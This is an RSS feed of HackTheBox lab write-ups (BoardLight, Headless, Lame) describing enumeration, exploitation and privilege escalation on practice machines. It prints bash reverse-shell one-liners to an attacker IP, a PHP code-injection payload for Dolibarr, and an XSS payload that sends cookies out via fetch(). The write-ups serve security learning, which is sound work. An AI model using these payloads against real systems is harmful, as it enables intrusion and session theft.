<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Gerardo Torres on Medium]]></title>
        <description><![CDATA[Stories by Gerardo Torres on Medium]]></description>
        <link>https://medium.com/@fre1si?source=rss-34fba6b13e2a------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*kU-vFD4R8lZH1-q7fLZ8OQ.jpeg</url>
            <title>Stories by Gerardo Torres on Medium</title>
            <link>https://medium.com/@fre1si?source=rss-34fba6b13e2a------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 11:30:30 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@fre1si/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[HackTheBox — BoardLight Writeup]]></title>
            <link>https://medium.com/@fre1si/hackthebox-boardlight-writeup-5d3c9023bca4?source=rss-34fba6b13e2a------2</link>
            <guid isPermaLink="false">https://medium.com/p/5d3c9023bca4</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[boardlight-writeup]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[htb-writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Gerardo Torres]]></dc:creator>
            <pubDate>Sat, 05 Oct 2024 11:41:06 GMT</pubDate>
            <atom:updated>2024-10-05T11:41:06.279Z</atom:updated>
            <content:encoded><![CDATA[<h3>HackTheBox — BoardLight Writeup</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jS0emRR7ea70neXfwWA_9Q.png" /></figure><p>Here is the writeup for another HackTheBox machine. This time, we tackle “BoardLight”, an easy-difficulty Linux Machine created by <a href="https://app.hackthebox.com/users/116842">cY83rR0H1t</a>.</p><h3>Enumeration</h3><p>Let’s start by conducting an Nmap scan, using the following parameters: <em>-sV </em>for version enumeration, <em>-sC </em>for default scripts, <em>-p-</em>to scan all ports, <em>-T4</em>to expedite the scan, and <em>-oN</em> to save the scan results to the file <em>nmap.txt</em>.</p><pre># Nmap 7.80 scan initiated Wed May 29 11:21:36 2024 as: nmap -sCV -p- -T4 -oN nmap.txt 10.10.11.11<br>Nmap scan report for 10.10.11.11<br>Host is up (0.041s latency).<br>Not shown: 65491 closed ports, 42 filtered ports<br>PORT   STATE SERVICE VERSION<br>22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)<br>80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))<br>|_http-server-header: Apache/2.4.41 (Ubuntu)<br>|_http-title: Site doesn&#39;t have a title (text/html; charset=UTF-8).<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</pre><pre>Service detection performed. Please report any incorrect results at <a href="https://nmap.org/submit/">https://nmap.org/submit/</a> .<br># Nmap done at Wed May 29 11:23:39 2024 -- 1 IP address (1 host up) scanned in 123.91 seconds</pre><p>The Nmap scan reveales two open TCP ports: port 22, which is running OpenSSH, and port 80, hosting an Apache web server.</p><p>Navigating to the website at 10.10.11.11, we find the website’s home page.</p><p>Scrolling to the bottom of the website we find a hostname Board.htb.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y4NqXHBjHOC9_f4OxIdYFg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/336/1*R2Hs46tDyxDVpmSivwlm1w.png" /></figure><p>We can add this host to the /etc/hosts file with the following command:</p><pre>echo &quot;10.10.11.11  board.htb&quot; &gt;&gt; /etc/hosts</pre><p>Now that we have a hostname and it is added in the hosts file, we can try to find subdomains with vhost enumeration using Gobuster.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P_gRz46VW3mtgf74VJD4tw.png" /></figure><p>We find the new domain crm.board.htb, so let’s also add this domain to the /etc/hosts file next to the previous domain we already added before, and browse to it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dwNGbeCE1qK3ECuyXutxBQ.png" /></figure><p>We find a login page and the name and version of what is running behind, Dolibarr 17.0.0.</p><p>I tried to log in with default credentials admin:admin and was able to do so, but my actions are limited.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6vXVaRjB2CSmieMxGFkaeg.png" /></figure><p>Because we know the version of the service running, we can search and see if it has any vulnerabilities.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*X9xIPbC2Z_fTdwhtlHGCzg.png" /></figure><p>I found that Dolibarr 17.0.0 has CVE-2023-30253, and found this <a href="https://www.swascan.com/security-advisory-dolibarr-17-0-0/">website</a> which shows a step-by-step PoC.</p><h3>CVE-2023-30253</h3><p>I followed the steps on the website and used revshell.com to get a reverse shell. To get a reverse shell you need to create a new website and a new page for that website, and then edit the code in the page to look like this:</p><pre>&lt;!-- Enter here your HTML content. Add a section with an id tag and tag contenteditable=&quot;true&quot; if you want to use the inline editor for the content  --&gt;<br>&lt;section id=&quot;mysection1&quot; contenteditable=&quot;true&quot;&gt;<br>    &lt;?PHP system(&quot;bach -c &#39;bash -i &gt;&amp; /dev/tcp/10.10.14.50/4444 0&gt;&amp;1&#39;&quot;); ?&gt;<br>&lt;/section&gt;</pre><p>Remember to change the IP address to your own tun0 address and the port you want to use. After following the steps, I started a NetCat listener and saved the website page, after a few seconds I gotta connecting back.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/792/1*kg60tbaFPRhPdI9Le5nMyQ.png" /></figure><p>You can also use the automated script from GitHub. I would suggest reading through the PoC to understand how the attack works and then using the GitHub script because I had a hard time making the manual method work and the machine kept getting reset. After the third reset, I found the GitHub script because the manual method took three or four tries for it to work for me, even though it worked on the first try the first time.</p><p><a href="https://github.com/nikn0laty/Exploit-for-Dolibarr-17.0.0-CVE-2023-30253">GitHub - nikn0laty/Exploit-for-Dolibarr-17.0.0-CVE-2023-30253: Reverse Shell POC exploit for Dolibarr &lt;= 17.0.0 (CVE-2023-30253), PHP Code Injection</a></p><h4>www-data</h4><p>The first this I always do after getting a reverse shell is to upgrade the shell into a full interactive TTY shell with the following commands:</p><pre># In target machine<br>python3 -c &#39;import pty; pty.spawn(&quot;/bin/bash&quot;)&#39;<br>Ctrl-Z</pre><pre># In attacker machine<br>stty raw -echo; fg<br>Press enter x2</pre><pre># In target machine<br>export SHELL=bash<br>export TERM=xterm-256color</pre><p>After looking around, I found some MySQL credentials, dolibarrowner:serverfun2$2023!! in the file /var/www/html/crm.board.htb/htdocs/conf/conf.php.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/811/1*bNxXDQv0L4rvrCF6t4-Fdg.png" /></figure><p>After logging into the database, I found a set of credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/759/1*0weJCN22UA01mrEWuIbA3A.png" /></figure><p>We can try to crack the hashes with Hashcat. First, we need to identify the type of hash being used.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*vJcGOI9y8doXMcqqnJVJ_Q.png" /></figure><p>Now that we know what type of hash it is using and its corresponding mode for Hashcat, we can try to crack the hashes using the rockyou wordlist.</p><p>After waiting some time, I only managed to crack the admin hash which gave me admin as its password, which we already knew from logging into the website earlier. Because I couldn’t crack the hash, I decided to see if the MySQL password was being reused by another user on the machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/656/1*2mqoclTqjiHTmfC9kfPs1A.png" /></figure><p>And it is being reused by the user larissa. Because we know that SSH is running, I am going to log in using SSH as larissa to get a complete shell.</p><p>After logging in using SSH, I moved LinPeas into the /tmp directory to see if it can find something.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6nQK6sPo1QhwbS7ObyNgVQ.png" /></figure><p>Looking at the binaries with SUID bit set, there are a few that stand out from the ones we normally see. It seems that the window manager Enlightenment version 0.23.1 is running on this machine.</p><h3>CVE-2022–37706</h3><p>This version has a vulnerability in the enlightenment_sys binary that allows for PrivEsc. You can read more about the exploit from the GitHub page below.</p><p><a href="https://github.com/MaherAzzouzi/CVE-2022-37706-LPE-exploit">GitHub - MaherAzzouzi/CVE-2022-37706-LPE-exploit: A reliable exploit + write-up to elevate privileges to root. (Tested on Ubuntu 22.04)</a></p><p>After cloning the repository and transferring the exploit script into the target machine, we PrivEsc to root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/606/1*OEIavDjnXSFJW053s6-3Bg.png" /></figure><p>If after reading the writeup you have any feedback regarding the article or suggestions for improving my methodology in tackling this machine, please feel free to leave a comment on the article or reach out to me directly. I constantly strive to enhance my skills and learn new techniques, so your input is highly valued. Thanks for the support!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5d3c9023bca4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HackTheBox — Headless Writeup]]></title>
            <link>https://medium.com/@fre1si/hackthebox-headless-writeup-d7143c837ca0?source=rss-34fba6b13e2a------2</link>
            <guid isPermaLink="false">https://medium.com/p/d7143c837ca0</guid>
            <category><![CDATA[headless]]></category>
            <category><![CDATA[htb]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[htb-writeup]]></category>
            <dc:creator><![CDATA[Gerardo Torres]]></dc:creator>
            <pubDate>Sat, 20 Jul 2024 18:41:05 GMT</pubDate>
            <atom:updated>2024-07-21T09:43:06.686Z</atom:updated>
            <content:encoded><![CDATA[<h3>HackTheBox — Headless Writeup</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PsYlECYzlJIRYtxcu-qnkA.png" /></figure><p>Here is the writeup for another HackTheBox machine. This time, we have “Headless,” an Easy Linux machine created by <a href="https://app.hackthebox.com/users/1422414">dvir1</a>.</p><h3>Enumeration</h3><p>Let’s start by conducting an Nmap scan, using the following parameters: <em>-sV </em>for version enumeration, <em>-sC </em>for default scripts, <em>-p-</em>to scan all ports, <em>-T4</em>to expedite the scan, and <em>-oN</em> to save the scan results to the file <em>nmap.txt</em>.</p><pre># Nmap 7.80 scan initiated Mon Mar 25 10:36:46 2024 as: nmap -sCV -p- -T4 -oN nmap.txt 10.10.11.8<br>Nmap scan report for 10.10.11.8<br>Host is up (0.039s latency).<br>Not shown: 65381 closed ports, 152 filtered ports<br>PORT     STATE SERVICE VERSION<br>22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)<br>5000/tcp open  upnp?<br>| fingerprint-strings: <br>|   GetRequest: <br>|     HTTP/1.1 200 OK<br>|     Server: Werkzeug/2.2.2 Python/3.11.2<br>|     Date: Mon, 25 Mar 2024 15:37:26 GMT<br>|     Content-Type: text/html; charset=utf-8<br>|     Content-Length: 2799<br>|     Set-Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs; Path=/<br>|     Connection: close<br>|     &lt;!DOCTYPE html&gt;<br>|     &lt;html lang=&quot;en&quot;&gt;<br>|     &lt;head&gt;<br>|     &lt;meta charset=&quot;UTF-8&quot;&gt;<br>|     &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&gt;<br>|     &lt;title&gt;Under Construction&lt;/title&gt;<br>|     &lt;style&gt;<br>|     body {<br>|     font-family: &#39;Arial&#39;, sans-serif;<br>|     background-color: #f7f7f7;<br>|     margin: 0;<br>|     padding: 0;<br>|     display: flex;<br>|     justify-content: center;<br>|     align-items: center;<br>|     height: 100vh;<br>|     .container {<br>|     text-align: center;<br>|     background-color: #fff;<br>|     border-radius: 10px;<br>|     box-shadow: 0px 0px 20px rgba(0, 0, 0, 0.2);<br>|   RTSPRequest: <br>|     &lt;!DOCTYPE HTML&gt;<br>|     &lt;html lang=&quot;en&quot;&gt;<br>|     &lt;head&gt;<br>|     &lt;meta charset=&quot;utf-8&quot;&gt;<br>|     &lt;title&gt;Error response&lt;/title&gt;<br>|     &lt;/head&gt;<br>|     &lt;body&gt;<br>|     &lt;h1&gt;Error response&lt;/h1&gt;<br>|     &lt;p&gt;Error code: 400&lt;/p&gt;<br>|     &lt;p&gt;Message: Bad request version (&#39;RTSP/1.0&#39;).&lt;/p&gt;<br>|     &lt;p&gt;Error code explanation: 400 - Bad request syntax or unsupported method.&lt;/p&gt;<br>|     &lt;/body&gt;<br>|_    &lt;/html&gt;<br>1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :<br>SF-Port5000-TCP:V=7.80%I=7%D=3/25%Time=66019A36%P=x86_64-pc-linux-gnu%r(Ge<br>SF:tRequest,BE1,&quot;HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeug/2\.2\.2\x20<br>SF:Python/3\.11\.2\r\nDate:\x20Mon,\x2025\x20Mar\x202024\x2015:37:26\x20GM<br>SF:T\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x2<br>SF:02799\r\nSet-Cookie:\x20is_admin=InVzZXIi\.uAlmXlTvm8vyihjNaPDWnvB_Zfs;<br>SF:\x20Path=/\r\nConnection:\x20close\r\n\r\n&lt;!DOCTYPE\x20html&gt;\n&lt;html\x20<br>SF:lang=\&quot;en\&quot;&gt;\n&lt;head&gt;\n\x20\x20\x20\x20&lt;meta\x20charset=\&quot;UTF-8\&quot;&gt;\n\x20<br>SF:\x20\x20\x20&lt;meta\x20name=\&quot;viewport\&quot;\x20content=\&quot;width=device-width,<br>SF:\x20initial-scale=1\.0\&quot;&gt;\n\x20\x20\x20\x20&lt;title&gt;Under\x20Construction<br>SF:&lt;/title&gt;\n\x20\x20\x20\x20&lt;style&gt;\n\x20\x20\x20\x20\x20\x20\x20\x20body<br>SF:\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20font-family:\x20<br>SF:&#39;Arial&#39;,\x20sans-serif;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x<br>SF:20background-color:\x20#f7f7f7;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x<br>SF:20\x20\x20margin:\x200;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x<br>SF:20padding:\x200;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20displ<br>SF:ay:\x20flex;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20justify-c<br>SF:ontent:\x20center;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20ali<br>SF:gn-items:\x20center;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20h<br>SF:eight:\x20100vh;\n\x20\x20\x20\x20\x20\x20\x20\x20}\n\n\x20\x20\x20\x20<br>SF:\x20\x20\x20\x20\.container\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\<br>SF:x20\x20\x20text-align:\x20center;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20<br>SF:\x20\x20\x20background-color:\x20#fff;\n\x20\x20\x20\x20\x20\x20\x20\x2<br>SF:0\x20\x20\x20\x20border-radius:\x2010px;\n\x20\x20\x20\x20\x20\x20\x20\<br>SF:x20\x20\x20\x20\x20box-shadow:\x200px\x200px\x2020px\x20rgba\(0,\x200,\<br>SF:x200,\x200\.2\);\n\x20\x20\x20\x20\x20&quot;)%r(RTSPRequest,16C,&quot;&lt;!DOCTYPE\x<br>SF:20HTML&gt;\n&lt;html\x20lang=\&quot;en\&quot;&gt;\n\x20\x20\x20\x20&lt;head&gt;\n\x20\x20\x20\x2<br>SF:0\x20\x20\x20\x20&lt;meta\x20charset=\&quot;utf-8\&quot;&gt;\n\x20\x20\x20\x20\x20\x20\<br>SF:x20\x20&lt;title&gt;Error\x20response&lt;/title&gt;\n\x20\x20\x20\x20&lt;/head&gt;\n\x20\<br>SF:x20\x20\x20&lt;body&gt;\n\x20\x20\x20\x20\x20\x20\x20\x20&lt;h1&gt;Error\x20respons<br>SF:e&lt;/h1&gt;\n\x20\x20\x20\x20\x20\x20\x20\x20&lt;p&gt;Error\x20code:\x20400&lt;/p&gt;\n\<br>SF:x20\x20\x20\x20\x20\x20\x20\x20&lt;p&gt;Message:\x20Bad\x20request\x20version<br>SF:\x20\(&#39;RTSP/1\.0&#39;\)\.&lt;/p&gt;\n\x20\x20\x20\x20\x20\x20\x20\x20&lt;p&gt;Error\x20<br>SF:code\x20explanation:\x20400\x20-\x20Bad\x20request\x20syntax\x20or\x20u<br>SF:nsupported\x20method\.&lt;/p&gt;\n\x20\x20\x20\x20&lt;/body&gt;\n&lt;/html&gt;\n&quot;);<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</pre><pre>Service detection performed. Please report any incorrect results at <a href="https://nmap.org/submit/">https://nmap.org/submit/</a> .<br># Nmap done at Mon Mar 25 10:38:56 2024 -- 1 IP address (1 host up) scanned in 129.72 seconds</pre><p>The Nmap scan reveals two TCP ports open: port 22, which is running OpenSHH, and port 5000, hosting a web server.</p><h4>5000 — HTTP</h4><p>Navigating to <a href="http://10.10.11.8/">http:/</a>/10.10.11.8:5000 we find the home page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*48620Zp2Q2VQT3SoOuuORg.png" /></figure><p>There’s nothing on the website except for the &quot;For questions&quot; button. Let’s run a Gobuster scan to see if we can discover any additional directories.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9akRg2Yj4YW9LVl9qqVkfw.png" /></figure><p>Running Gobuster, we uncover two directories: /support, which we can access by clicking the For questions button.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yiBH-xC5JGrFUqgWLTlofA.png" /></figure><p>And we also discover a /dashboard directory, which we need to browse to manually.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KV9u0EiOOhWPBTSzUH0UWg.png" /></figure><p>Access to the /dashboard directory is restricted.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/488/1*efQ_1lqtwQjDpYKDnsUChg.png" /></figure><p>It appears that we’ve been assigned an &quot;is_admin&quot; cookie, with the part before the dot decoding to &#39;user&#39;. We need to attempt to acquire an admin cookie. Let’s move to the /support directory and explore our options there.</p><h3>XXS</h3><p>My initial thought is to attempt an XSS injection, aiming to retrieve the cookie from whoever reviews my question, with the hope that they possess admin privileges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bIn-Xaotz4N2uk7zgQxuog.png" /></figure><pre>&lt;img src=x onerror=fetch(&#39;http://10.10.14.108&#39;+document.cookie);&gt;</pre><p>It appears that there might be an XXS vulnerability, but the attack was detected.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HH-aF56r2tAg1-kOwkmyig.png" /></figure><p>The message states: “Your IP address has been flagged, a report with your browser information has been sent to the administrators for investigation.” Since the browser information is included in the User-Agent header of the request, we could inject the same payload as before into this header. This could execute the payload when administrators investigate the report, which includes the contents of the User-Agent header.</p><p>I will utilize Burp Suite to intercept the request and send it to the repeater, allowing us to manipulate it. However, before we proceed, let’s set up an HTTP server to receive the cookie.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/642/1*p8_4UGDcS2CRPnY6wJ6oNg.png" /></figure><p>Now, send the request with the User-Agent header modified.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zPA8EjHoDKlTpAJtRzzpjQ.png" /></figure><p>And we obtained a cookie!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-zHMKY80GdbvsMd5qhpnCw.png" /></figure><h3>OS Command Injection</h3><p>Let’s try accessing the /dashboard directory again using Burp Suite, but this time modifying the Cookie header.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fjTYe2A6RrRkftDTtlAiKQ.png" /></figure><p>I examined the page in the browser and clicked “Generate Report”. Afterwards, I returned to Burp Suite to intercept the request, modifying the Cookie header, and inspect the content of the request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WC4Ch8O6mhgK_BXqNrrEGg.png" /></figure><p>In the body of the request, there is only one variable representing the selected date. Let’s see if we perform some OS command injection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y9VrY0hH0vyGY-8oXm9caQ.png" /></figure><p>There is an OS command injection vulnerability. Let’s send a reverse shell. I will be using the following for my reverse shell:</p><pre>bash -i &gt;&amp; /dev/tcp/10.10.14.108/4444 0&gt;&amp;1</pre><p>Let’s also set up a listener to receive the reverse shell connection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/412/1*DFKfXJKxJKHb9pJL1hnMgA.png" /></figure><p>Now, let’s upload and execute the file using Burp Suite. I utilized a Python HTTP server in conjunction with wget to upload the file, followed by executing it with the bash command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/791/1*369J_fhAKs1DiM7JXvrA-Q.png" /></figure><p>We successfully got a shell and acquired the user.txt flag!</p><h3>Privilege Escalation</h3><p>Running sudo -l to check the sudo privileges the user dvir has, we discover that we can execute /usr/bin/syscheck with sudo privileges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/827/1*fn_wAQNX__8S2PWB6Egvnw.png" /></figure><p>First, when we run the command, we get:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/489/1*4WqeXePb0x1L56qStrkNMA.png" /></figure><p>The content of the file is as follows:</p><pre>#!/bin/bash</pre><pre>if [ &quot;$EUID&quot; -ne 0 ]; then<br>  exit 1<br>fi</pre><pre>last_modified_time=$(/usr/bin/find /boot -name &#39;vmlinuz*&#39; -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)<br>formatted_time=$(/usr/bin/date -d &quot;@$last_modified_time&quot; +&quot;%d/%m/%Y %H:%M&quot;)<br>/usr/bin/echo &quot;Last Kernel Modification Time: $formatted_time&quot;</pre><pre>disk_space=$(/usr/bin/df -h / | /usr/bin/awk &#39;NR==2 {print $4}&#39;)<br>/usr/bin/echo &quot;Available disk space: $disk_space&quot;</pre><pre>load_average=$(/usr/bin/uptime | /usr/bin/awk -F&#39;load average:&#39; &#39;{print $2}&#39;)<br>/usr/bin/echo &quot;System load average: $load_average&quot;</pre><pre>if ! /usr/bin/pgrep -x &quot;initdb.sh&quot; &amp;&gt;/dev/null; then<br>  /usr/bin/echo &quot;Database service is not running. Starting it...&quot;<br>  ./initdb.sh 2&gt;/dev/null<br>else<br>  /usr/bin/echo &quot;Database service is running.&quot;<br>fi</pre><pre>exit 0</pre><p>Upon inspecting the file, the most notable part is when the program attempts to execute a file called initdb.sh. As it uses a relative path to execute the file, we can exploit this behavior by creating a file with that name in our current directory, resulting in its execution with sudo privileges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/556/1*1EBg69rgCFHaYvEAJVi1aA.png" /></figure><p>The idea here is to set the SUID bit to the /bin/bash binary and escalate our privileges using this. By running /bin/bash -p when the binary has the SUID bit set, the -p option allows the default bash shell to run with SUID privileges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/722/1*6pzoPX5BZNhCYNGX8IEieQ.png" /></figure><p>With this, we successfully escalated privileges and gained root access, allowing us to retrieve the root.txt flag.</p><p>If after reading the writeup you have any feedback regarding the article or suggestions for improving my methodology in tackling this machine, please feel free to leave a comment on the article or reach out to me directly. I constantly strive to enhance my skills and learn new techniques, so your input is highly valued. Thanks for the support!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d7143c837ca0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HackTheBox — Lame Writeup]]></title>
            <link>https://medium.com/@fre1si/hackthebox-lame-writeup-9c4662da0ac0?source=rss-34fba6b13e2a------2</link>
            <guid isPermaLink="false">https://medium.com/p/9c4662da0ac0</guid>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[htb]]></category>
            <category><![CDATA[htb-writeup]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[lame]]></category>
            <dc:creator><![CDATA[Gerardo Torres]]></dc:creator>
            <pubDate>Mon, 24 Jun 2024 12:30:51 GMT</pubDate>
            <atom:updated>2024-06-24T12:30:51.932Z</atom:updated>
            <content:encoded><![CDATA[<h3>HackTheBox — Lame Writeup</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fOboZ-JzVOxPrtFAJf6cmw.png" /></figure><p>Lame is a beginner-level, easy-difficulty machine by <a href="https://app.hackthebox.com/users/1">ch4p</a> and the first machine to be published on HackTheBox. It was often the first machine new users encountered before it was retired. If you want to try it out, it is currently available as a free retired machine.</p><h3>Enumeration</h3><p>First, I started with a basic Nmap scan.</p><pre># Nmap 7.80 scan initiated Mon Jun 24 13:01:15 2024 as: nmap -Pn -oN nmap.txt 10.10.10.3<br>Nmap scan report for 10.10.10.3<br>Host is up (0.032s latency).<br>Not shown: 996 filtered ports<br>PORT    STATE SERVICE<br>21/tcp  open  ftp<br>22/tcp  open  ssh<br>139/tcp open  netbios-ssn<br>445/tcp open  microsoft-ds<br><br># Nmap done at Mon Jun 24 13:01:33 2024 -- 1 IP address (1 host up) scanned in 17.90 seconds</pre><p>Then, I enumerated the versions and ran basic scripts on the ports we found.</p><pre># Nmap 7.80 scan initiated Mon Jun 24 11:13:28 2024 as: nmap -Pn -sVC -p21,22,139,445 -oN nmap.txt 10.10.10.3<br>Nmap scan report for 10.10.10.3<br>Host is up (0.031s latency).<br><br>PORT    STATE SERVICE     VERSION<br>21/tcp  open  ftp         vsftpd 2.3.4<br>|_ftp-anon: Anonymous FTP login allowed (FTP code 230)<br>| ftp-syst: <br>|   STAT: <br>| FTP server status:<br>|      Connected to 10.10.14.117<br>|      Logged in as ftp<br>|      TYPE: ASCII<br>|      No session bandwidth limit<br>|      Session timeout in seconds is 300<br>|      Control connection is plain text<br>|      Data connections will be plain text<br>|      vsFTPd 2.3.4 - secure, fast, stable<br>|_End of status<br>22/tcp  open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)<br>| ssh-hostkey: <br>|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)<br>|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)<br>139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)<br>445/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)<br>Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel<br><br>Host script results:<br>|_ms-sql-info: ERROR: Script execution failed (use -d to debug)<br>|_smb-os-discovery: ERROR: Script execution failed (use -d to debug)<br>|_smb-security-mode: ERROR: Script execution failed (use -d to debug)<br>|_smb2-time: Protocol negotiation failed (SMB2)<br><br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br># Nmap done at Mon Jun 24 11:14:33 2024 -- 1 IP address (1 host up) scanned in 64.84 seconds</pre><h4>21 — FTP</h4><p>What first caught my attention from then scan results was the FTP version, VSFTPd 2.3.4, which is vulnerable to backdoor command execution.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/805/1*B17NR6kiALlyW1MtmvO8Mw.png" /></figure><p>We can use Metasploit to exploit this vulnerability. However, it doesn’t seem to work.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Dj2V-QMSTHwtfKmhBPgx9Q.png" /></figure><p>I believe the exploit is not working because it tries to connect to the port 6200 at the end. However, this port is blocked by the firewall, preventing us from connecting to it.</p><h4>139,445 — SMB</h4><p>Since Nmap did not show the version of SMB running, I decided to use Metasploit to enumerate the version.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ORROsr_mxvF8jcAtlUVbUQ.png" /></figure><p>Luckily, this version of Samba is vulnerable to CVE-2007-2447.</p><h3>CVE-2007–2447</h3><p>We can continue to use Metasploit to exploit this vulnerability.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-tO8wdrk0QjwKunnGpym4Q.png" /></figure><p>This exploit creates a session as root, so we don’t need to perform any privilege escalation on this machine. From here, we only need to retrieve the flags, and we are done.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/363/1*j00I97EcmTqby1uwpwVzSw.png" /></figure><p>You may need to change the shell from /bin/sh to /bin/bash, by running /bin/bash if you encounter any errors regarding the cat command not being found.</p><p>If after reading the writeup you have any feedback regarding the article or suggestions for improving my methodology in tackling this machine, please feel free to leave a comment on the article or reach out to me directly. I constantly strive to enhance my skills and learn new techniques, so your input is highly valued. Thanks for the support!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9c4662da0ac0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HackTheBox — Hospital Writeup]]></title>
            <link>https://medium.com/@fre1si/hackthebox-hospital-writeup-a4ec1b3f2c57?source=rss-34fba6b13e2a------2</link>
            <guid isPermaLink="false">https://medium.com/p/a4ec1b3f2c57</guid>
            <category><![CDATA[hospital]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[htb-writeup]]></category>
            <category><![CDATA[htb]]></category>
